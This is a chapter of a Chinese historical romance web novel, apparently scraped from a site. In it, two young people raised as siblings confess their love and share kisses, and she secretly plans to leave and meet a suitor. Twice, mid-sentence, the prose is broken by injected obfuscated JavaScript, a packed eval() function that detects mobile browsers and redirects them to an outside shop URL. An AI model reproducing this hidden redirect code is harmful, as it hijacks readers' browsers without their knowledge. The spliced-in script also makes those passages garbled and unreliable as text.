然她的温软紧贴胸膛的刹那,残存的理智却嘶鸣起来,告诉他此举不妥。 可终究是心底压抑已久的贪念占了上风……待他有所反应,早已反客为主,加深了这个吻。 片刻间自我拉扯不休。 最终,他还是艰难地抬起头,掌心抵住她单薄的肩头,将人推开少许。 可双臂却仍然恋恋不舍地环着她,低头喘息着,胸膛起起伏伏。 待喘息声都渐渐驱平,他才敢望向她,用与往日无异的声音问道:“嗔嗔,你怎么了?” 怀中人儿气息亦有些不稳。 她眼波流转与往日无异,却又莫名带着一种他从未见过的丝丝缕缕的妩媚,她微微仰头,神情天真地问:“哥哥不喜欢我吗?” 陆无羁眼神一颤,避开她的直视。 又故作淡定,替她理了理微乱的鬓发,声音低沉:“你该睡了。” 陆簪顺从地点点头:“是啊,夜深了。”她望向他,眼神纯净,却说着惊心动魄的话,“我有些犯懒,哥哥抱我上床可好?” 陆无羁闻言微微蹙眉,垂眸审视着她的神情,却见她眸光清正,神色坦然,仿佛方才提出的不过是再寻常不过的请求。 他犹豫一瞬,终是俯身将她稳稳抱起。 她顺势环住他的脖颈,仰面凝望着他。 他被她的目光扰得心神微乱,刻意放缓脚步,力求每一步都踏得格外沉稳,面容亦端肃起来,然而那微微滚动的喉结,却泄露了他此刻并不平静的心绪。 她将他这些细微的反应尽收眼底,并未有任何表示,只继续用那双清澈如秋水的眸子静静地望着他。 他只好极力避开她的视线,短短数步的距离,竟让他觉得比跋山涉水还要漫长,连后背都沁出了一层薄汗。 行至榻前,陆无羁俯身将陆簪轻轻安置在床沿。 她勾在他颈后的双臂仍未松开,反倒借着这力道微微前倾,温热的气息若有似无地拂过他耳畔。 四目相对间,她眸光清亮,倒映着摇曳的烛火,和他微微怔忡的面容。 他呼吸一滞,别开视线,伸手去解她环在颈后的双手,指尖触到她温热的腕脉,不由顿了顿,方才轻轻将那双玉臂取下。 她竟未作纠缠,顺从地松开手。 他眸中掠过一丝难察的失落,随即敛目垂眸,替她仔细掖好被角。 她果真不再有任何纠缠,只翻身面向里侧,合上双眼,青丝在枕上铺散如墨,只留给他一段纤细的颈子。 他凝视着那截白玉般的颈项,喉结微动,终是抬手扯落青纱帐,帐幔飘垂而下,他转身疾步离去。 陆簪听着他脚步声渐远,又听得房门被“哐当”一声关上,下意识握紧了锦被,心中却莫名安定几分。 正因他是个极爱重她的人,才没有凭着血气方刚肆意妄为,而是发乎情,止乎礼。 她只觉心中熨帖,便极为安心地阖上双眼。 忽听房门又被大力推开。 她心口没来由地一紧,倏然睁眼。 急促的脚步声由远及近,不过瞬息,那道熟悉的身影已逼近纱帐。 她尚未来得及撑坐起身,帐幔便被猛地掀开。 去而复返的陆无羁浑身湿透,发梢还淌着水珠,寒气自他周身弥漫开来,可那双深邃的眸子却燃着灼人的火焰,在昏暗中亮得惊人。 “你……” 她才启唇,余音便被他封缄。 他俯身攫住她的唇,水珠顺着他的发梢滴落在她脸颊,激得她轻轻一颤。 这次的吻与方才截然不同,带着未散的寒意,却透着冷水也浇不灭的热烈。她被他圈在臂弯里,能听见彼此的心跳声。 他湿发垂落,扫过她的脸颊,湿透的衣衫贴着她单薄的寝衣,水痕渐渐洇开,贴在肌肤上,分不清是冷是热。 唇齿间的气息更是急促许多,却仍带着克制,只在辗转间泄露了几分难言的焦灼。 这个吻里藏着太多未言之语,比月色深沉,比夜露浓重。 良久,他才结束这个吻。双手仍紧紧箍着她的双臂,只是不敢看向她迷蒙的眼。 他的声音这样轻,又这般重:“嗔嗔,我想做你体面的兄长,想做一个没有任何杂念全心爱护你的人,可我做不到。” 他刚才甚至去冲了冷水,以为它能浇灭心头的欲念。 可他无能。 他压不住。 既压不住,便只能认命。 他眼底闪过颓唐,声音低沉,似夜风拂过竹林:“有些话我只同你讲一次,也只讲得出一次——你若心中有我,我便是月下随影,此生不离弃,你若心中无我,我也愿作天边孤星,夜夜遥相望。” 这番剖白,若在寻常女儿家耳中,怕是早已化作春水融融。 可陆簪偏偏不是。 她早早断了对风月的念想,便是对江雪和陆风,孺慕之情甚笃,却也随时做好了抽身作别永不相见的打算。 所以他的真心,注定只能捧回她的假意。 对此,她万箭穿心,无可奈何。 愧疚太浓,陆簪一颗泪珠悬在睫上颤了颤。 终是承受不住重量,直直坠下,划过一道晶莹剔透的水痕。 陆无羁见状俯身,在即将触到她眼角时顿了顿,才极轻地吻了上去。 唇瓣触及她微凉的肌肤,尝到淡淡的咸涩,他呼吸不由放得更轻,像是怕惊扰了这一刻的安宁。 一吻而毕,陆簪抬眸望向陆无羁,眼中水光未散,唇角却已扬起浅浅的弧度:“哥哥,这还是我头一回听你说这样多的话。” 陆无羁闻言微微一怔,随即眼底也漾开淡淡的笑意。 陆簪也弯了眉眼:“其实哥哥原不用说这么多,你的心意,我明白。你待我好,哪怕是爹娘也比不过,若说这世上谁最爱重我心疼我,排在首位的一定是哥哥。所以我才会在经过诸多挣扎之后,愿意迈出这一步。” 陆无羁眸中泛起盈盈点点的光彩。 原来这些,她都懂得。 既如此,他还有什么好迟疑? 他执起她的手来,轻轻落下一吻:“那我明日就去回禀爹娘,求他们允准我们早日完婚。” 陆簪闻言,心头一沉。 她望着陆无羁眼中毫不掩饰的真意,想起自己不足为外人道的算计,指甲悄悄掐进掌心。这一个月,足够她暗中布置返京事宜,也足够……让他慢慢接受别离。 她轻轻摇头:“你我以兄妹相称两年有余,在爹娘心中早已定了名分,若骤然提及婚事,恐怕不妥。加之我尚未准备周全,不如……以一月为期,容我有个准备,也可暗中试探一下爹娘的态度,可好?” 她说话时微微侧过脸,恰好一缕青丝遮住眼底的情绪。 陆无羁未觉有异,便应了下来。 帐中一时静默,只闻彼此呼吸声浅浅交错。 一滴水珠自他未干的发梢坠下,正落在陆簪手背上。 她这才恍然:“倒忘了你还湿着衣裳,快回去更衣罢,仔细着了凉。” 他的目光却凝在她身前——素白中衣被水渍浸透,薄薄贴着肌肤,几缕乌发蜿蜒在玲珑锁骨处,更衬得肌理莹润,浅碧色抹胸上绣的缠枝莲纹若隐若现,底下美玉无瑕,香馥馥的□□,随着呼吸微微起伏。 春山迤逦,尽在朦胧水色间。 “我先替你更衣。”他移开视线,落在随意一处,方道,“若让你染了风寒,便是我的罪过了。” 陆簪早已察觉他视线,慌忙以手掩襟:“不劳哥哥。” 他见状,只端得眼神清明,并无半分逾矩,正正经经地问道:“方才不是还使唤我宽衣?” 她偏过头去,耳根泛红:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833499|190756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现下不许。” 见她羞赧,玉颈泛起薄红,他便笑了一笑,从善如流道:“好,那你自己换。” 话虽如此,他却仍坐在床边,这样近的望着她。 她便咬唇睨他:“你先转身。” 月光透过窗纱,映得她娇嗔的眉眼格外鲜活,杏眸含春,朱唇微肿,方才被他吻过的痕迹犹在。 陆无羁直盯着她瞧:“我若走了,你定要偷懒穿着湿衣就寝。”他反倒闲闲倚在榻边,“我等你换妥再走。” 陆簪闻言,不由得怔了一怔,旋即垂下眼帘,轻声道:“哥哥学坏了。” 陆无羁听得这话,心头先是一紧,随即抬眸,认真凝视着她被春色浸染的眉眼,忽而自嘲地弯了唇角:“若不够坏,怎会肖想自己的妹妹,此刻又怎会坐在此处呢。”话音未落,他已伸手握住她纤细的足踝,轻轻将人带至身前。 陆簪猝不及防,低呼一声便撞进他怀中。 青丝交缠间,四目相对,她在他眼底看见她的倒影,顿时屏住呼吸,心中念头不断。 却不想他只是这样静静地望着她。 良久,方将她打横抱起,安置在窗边的湘竹榻上。 又取过火折子点亮案上灯烛,昏黄的光晕在室内缓缓铺开。 他拿起这盏灯,转身开启衣柜,借着亮光,指尖在一件件抹胸上轻轻拨弄,随即若无其事地拿起两件,问道:“是穿这件玉白绣折枝牡丹的,还是这件石榴红绣并蒂莲的,或是那件杏子黄缠枝梅的?” 说话时,他回头时望她,见她沐浴在月色清辉里,青丝委地,恍若洛神凌波。 他目光微闪,无论看过多少次,总还是会被她容色倾倒。 陆簪却有些心慌意乱。 抹胸是贴身衣物,不可轻易示人,他却这样拿起,这般不加掩饰,直教人招架不住。 她勉力抑住颊染胭脂,才道:“若配月蓝中衣便选白的,若配月白绡纱寝衣就选红的。” 他点头,依言取来月白绡纱寝衣和石榴红绣并蒂莲的抹胸,连同沐巾一起递与她:“你换,我不看。” 当真背身而去,自去寻了新床褥,将方才弄湿的换下。 陆簪见状,便不再矫情。 待她换好衣裳,他极自然地接过湿衣,与床褥一同叠放榻边。 动作刚落,忽闻门外落葵声响:“姑娘可歇下了?” 陆簪警醒地望了陆无羁一眼,却见他目光凝在她的抹胸系带上,竟朝她伸出指尖。 触及肌肤,她慌忙按住他手腕,乞求般摇了摇头。 又对朝门外道:“我正看书入迷,还不困呢。” 落葵便道:“我方才起夜,见您房中灯还亮着,想着过来问一问,您可要奴婢进来伺候?” 陆簪微惊,下意识看向陆无羁的眼眸。 陆无羁却淡然处之,轻轻拨开她阻拦的手,专注于她那根未系好的系带上,指尖灵巧地绑系丝绦。 陆簪见状,便知自己是想歪了,方松口气,对屋外道:“不必,我这就睡了,你也去歇着吧。” 落葵道:“好。”悄然退去。 厢房内只余她与他呼吸绵长。 陆无羁指间的衣带终是系妥,他却仍然维持着俯身的姿势,指尖从抹胸的系带上,辗转至她的颈侧。 陆簪只觉得他一会儿是谦谦君子,一会儿又成了风流登徒子,心中一时失笑,静了静才问:“哥哥可以走了罢。” 他不应声,目光流连在她低垂的眉眼间。 静默在更漏声里蔓延。 她等了许久,不见他的动静,略一思忖,双臂攀上他的肩头,在他紧抿的唇上落下一个轻吻。 他不想她有这样的举动,眼波微漾,偏过头去,说道:“好,我走。” 她一笑,目送他起身。 他这回未再停留,大步离开。 她见门被轻轻合拢。 抬手轻抚尚存温热的唇瓣,眼底漾开柔波,又被一闪而过的怅惘取代。 11.上妆 翌日清晨,天光尚未大亮,晨曦如轻纱笼罩着陆家庭院。 陆簪梳洗停当,一如往常往厅堂用早饭。 沿着游廊刚转过弯,却意外地与陆无羁迎面相遇,四目相对间,她见他眼下泛着淡淡青影,自己心头也突突直跳,随即不约而同地错开视线。 二人一前一后,默然入厅。 刘妈妈正端来一碟新蒸的蜜糕并几样小菜,落葵忙上前帮着布箸摆碗。稍顷,陆风与江雪相偕而至,众人各自落座开始用饭。 席间乍看与往日并无什么不同。 只是陆风频频为陆簪布菜,添粥加糕,堆了满满一碟。 陆无羁见状,眉梢微挑:“今日爹爹怎对嗔嗔格外偏爱?” 陆风目光一凝,在陆簪面上停留片刻,语气略显生硬:“我疼爱自家女儿,难道还有错处不成?” 陆簪不动声色地瞥向江雪,见她眼观鼻、鼻观心,便知陆风已然知晓“一月为期、各奔前程”的决议。 她的心头一时涩意翻涌,垂眸默默夹起一块金黄的油酥饼放入陆风碟中,轻声道:“爹爹疼爱女儿,女儿也当时时感念爹爹。” 陆风看着那酥饼,勉强牵出一丝笑意。 陆无羁眸光在父母与陆簪之间流转,眉心微跳,终是放下碗盏,问道:“家中有事?” 陆风夹着酥饼的手顿时停了一瞬,掩饰似的干咳了一声,瞄向江雪。 江雪缓缓搁下木箸。 深深呼了一吸,才神色平静地道:“既然你问起,我也不愿再藏着掖着,说与你们知晓便是。” 此话一出,众人都放下碗筷,不再进餐,纷纷把目光投向江雪。 江雪的目光扫向众人,声音不急不慢:“近日无羁在临安城中声名太盛,我心中总觉不安,思来想去,还是搬离此地最为稳妥。” 此言一出,厅内一时间只闻得窗外雀鸟啁啾。 落葵与松涛交换了个眼色,刘妈妈布满细纹的眼睑缓缓垂下,露出了意外与不解之色。 谁都听得出,江雪此言,是告知,而非商议。 陆无羁垂眸听罢,指节在竹箸上轻轻摩挲。 这次他并未如往日那般对搬家之事抵触,只静静拨弄着碗中餐,半晌才抬眼望向窗外新发的海棠,眉宇间露出了一丝轻松,淡然道:“如此也好,省得那位谢公子总来叨扰嗔嗔。” 此言一出,陆风和江雪面面相觑,又不约而同看向陆簪,却见她正低头专注地搅动着碗里的粥,这才收回视线,却未曾留意那低垂的眼睫正微微颤动。 后来无人多言,席间只有碗箸相碰时的轻响声,一顿饭就在这样微妙的静默里结束了。 用过饭后,陆簪回到自己房中。 她今早贪睡起得迟了,只简单梳洗过后便去厅前,还没有来得及上妆,此刻才得空在镜前整理仪容。 晨光透过雕花木窗,静静洒在妆台上。 落葵正拿着粉扑为她敷粉,忽从镜中看见陆无羁的身影出现在门边,陆簪挑拣钗子的手顿了顿,随即垂下眼,只作没看见。 陆无羁眸中隐隐含笑,不急不慢地走到她身后,默不作声地望着落葵为她敷粉。 片刻后,粉涂均了,又见落葵用指尖蘸了胭脂膏,在掌心细细揉开,要为她上胭脂。 他心下意动,只觉这样望着她梳妆,什么也不做,什么也不说,都是岁月静好的,不由得走近了些细望。 她从镜中瞧他一眼,并未说什么,倒是落葵先抿嘴笑了:“公子今日怎对女儿家妆奁之事这般好奇?” 陆无羁略怔,很快便移开目光,淡淡道:“只是觉得新奇而已。” 陆簪见状,对落葵说道:“你且出去罢,我与哥哥有话要说。” 落葵下意识便以为二人要聊搬迁事宜,会意地点头,退至门外时,思及礼数,特意未将门扉完全合拢,留着一条细缝。 陆无羁和陆簪都望了那门一眼,又都不约而同的回过头来,没有去理会。 房中这下就只剩陆簪与陆无羁二人。 陆无羁目光落在妆台那枚青黛上,伸手取过,俯下身来,望着镜中的她:“今日我来为你画眉。” 陆簪偏过头去:“你又不曾为女子描过眉,再将我画丑了。” 他低低一笑:“嗔嗔生得这样好,便是随意描几笔也是美的。” 说着又靠近几分,执起黛笔,说道:“再者说,我没有画过,又怎知我画不好?” 陆簪闻言,反倒更觉他不着边际,却只当是陪他玩闹,毕竟往后再没有这般好时光了。便不再阻拦,只安静坐好。 陆无羁的动作很稳,指尖轻托着陆簪的下颌,在她眉上细细描摹。 他极有耐心,目光专注,才将左眉画得有了远山含翠的雏形。 一只眉刚刚画完,忽闻外院的声响。 陆簪下意识转首望向门廊,原是陆风夫妇还有刘妈妈出门往药铺去了,她刚收回视线,还未坐正,脸颊忽然觉得一暖。 他吻了她。 她惊得身子一颤,微微瞪大了双眼,从铜镜里看向他。 他仍然维持着方才俯身的动作,握着黛笔,与她四目相对,目光深深,几瞬过后,忽而再次凑近,在同一个地方,又轻啄一下。 陆簪忽然就红了脸。 她有些不自在,开口时声音都有几分微哑:“门都未关,若被落葵瞧见可就不好 。” 他闻言,剑眉轻轻挑了一挑,竟又俯身。 这次的吻落在她唇上。 陆簪真真是惊呆了,只好顶着画了半边的眉毛,躲开一些,同时去夺他手里的青黛。 他却举臂避开,不许她妄动。 “说好今日由我画眉。”他这样讲,见她腮晕潮红,眼中漾开一丝笑意,又放软声音,“坐好。” 陆簪只觉得这人何时学得这般会撩拨人,从前那个沉默寡言的兄长像是换了个人似的。 心中既觉得新奇,又觉得缱绻。 便道:“你若真心画眉便罢了,若再……”她顿住,嗔道,“我不饶你。” 她眼波流转间自有宜喜宜嗔的风致。 他爱极她这般小女儿模样,低笑道:“好,我仔细为你描画。” “当真?”她显然不信。 “我何时骗过你。”他眉目恢复往日的清然。 她这才端正坐好。 他果真收敛心神,专注地为她描完右眉,期间再无逾矩之举。 待最后一笔勾勒完毕,他搁下黛笔,目光掠过妆台上那排胭脂瓷瓶,指尖在几个青瓷小罐间流连,问道:“今日要点何色?” 她心中还因他的唐突而动气,故骄纵了些,摆了些架子,随手一指中间那只青瓷小罐:“要那桃花香的朱磦色罢。” 他听她尾音微微上扬,便知她心中余怒未消,真真是可爱极了,面上没有表露,只伸手取来那小罐儿,用银簪轻挑少许口脂置于掌心,以指腹蘸取,在她唇上细细匀开。 见她樱唇柔润,泛着淡淡光泽,饱满的唇珠玲珑精致,胭脂匀开后更显得娇艳欲滴,唇间隐约透出的桃花清甜,萦绕在咫尺之间。 他眼眸一黯。 低头吃她。 察觉到唇瓣被人轻轻噬咬,她先是怔住,待明白过来他在做什么,耳尖霎时烧得通红,急忙抬手抵住他胸膛想要推开。 他顺势抬起头,神色自若地抬手拭了拭唇角,眼眸的欲气未消,语气却依然从容:“这胭脂闻着清甜,我来尝尝滋味如何。” 这般荒唐言辞着实令陆簪气结,转念却又失笑,只觉这男人一旦同心仪的女子挑破窗纸,便都成了孟浪之徒。 也罢,谁教她心中有愧呢,就只好哄着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837286|190756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一些。 她眼尾轻轻一挑,纤指轻点妆台上那排胭脂瓷瓶:“照这么说,莫非哥哥打算将这些口脂都尝个遍,才肯罢休?” 话还未落,他眼中蓦地亮起点点星火。 只是很快便掩过去了。 声线仍维持着恰到好处的从容:“左右今日无事,若嗔嗔得空,我自是乐意之至。” 他端的是光风霁月的做派,字字句句又带着说不清的缠绵旖旎。 她闻言,佯装羞恼地将簪子掷在妆台上,叮当声响,竟撞落嵌着的一颗米珠。 他凑近端详:“生气了?” 她扭身避开。 他偏要追着瞧,随她的动作也微微转身,明知故问道:“让我瞧瞧,真恼了?” 她索性以袖掩面,再不肯让他看。 见她这般情态,他只觉满心爱意温存,终是低低笑出声来。 窗外微风拂过,海棠枝头已绽红芽,春意渐浓。 他见春光大好,心里更觉情意丝丝缕缕不断,暖融融化在心头。 垂首凝望她片刻,见她仍是固执地掩面,真真倔强又可爱,便伸手轻勾她衣袖,晃了晃,又晃了晃,权作告饶。 陆簪心想,是时候下这个台阶,这才放下衣袖,闷声取过口脂盒:“你出去罢,余下的我自己来。” 他果真不肯,说道:“我想陪着你。” 她道:“我们日日都在一处。” 这话原是随口一答,谁知他闻言后,竟深深蹙起眉头来,语气里是极大的不满:“难道日日相伴便够了?时时刻刻都黏在一起不好吗?” 她微微一怔,只觉得他小孩子脾气。 心里觉得酸甜,便将口脂盒又塞回他手里,放软了声音:“那便继续为我上妆罢。” 他知她这是在哄他,不觉展颜,接过口脂,又搬来绣墩坐在她面前,仔细为她点好唇脂。 妆成后,取镜与她照看。 她端详片刻,只见他画的双眉不是当下时兴的柳叶弯眉,反顺着她天生的眉骨勾勒出温柔可人的弧度,唇上朱磦色胭脂匀净,雅致天成,衬得她容色清丽无双。 她轻轻颔首,表示满意。 他放下口脂盒,问道:“今日为何特意上妆?可是要出门?” 陆簪心头微紧,面上却不露分毫,羽睫轻垂间已敛去所有情绪:“不过是上山采药。” 陆无羁见她梳着简单的同心髻,除一支素银簪和一把玉钗外别无饰物,知她向来注重仪容,即便采药也要收拾齐整,并未起疑,只道:“我陪你去。” “倒是不必。”她柔声拒绝,“哥哥知道我采药时不喜人随的,不如去药铺等我,采完药我自去寻你,届时与爹娘一同归家。” 她语气自然,他思忖片刻,点头应允下来。 半个时辰后,陆簪背着竹编小药篓,与落葵往拂云岭走去。 快到山脚下时,远远就看到有四骑踏尘而来,落葵忙拉着陆簪避至道路一旁。 那四人奔马却快,落葵只是一转身,再回头便见他们离近了大半,而那为首之人,竟是谢允。 她只觉巧合,轻呼一声:“姑娘快瞧,竟是谢公子。” 陆簪转身望去。 谢允一身赤色云纹骑装,墨发以金冠高束,纵马驰来时腰间蹀躞带上的玉扣与剑璏相击作响,广袖翻飞间,那通身的气度却似带着千军万马。 真真担得起“鲜衣怒马,英姿飒爽”八字。 落葵一时看得双眼发直。 陆簪的面色却平静无波。 遇到谢允是在意料之中的。 昨日她收下他拂云岭所赠玉兰,便知他若有心,今日定会再采新枝相赠。 她特意此时出门,正是要与他不期而遇。 她静静望着谢允纵马来到身前,一如望着命运向她疾驰而来。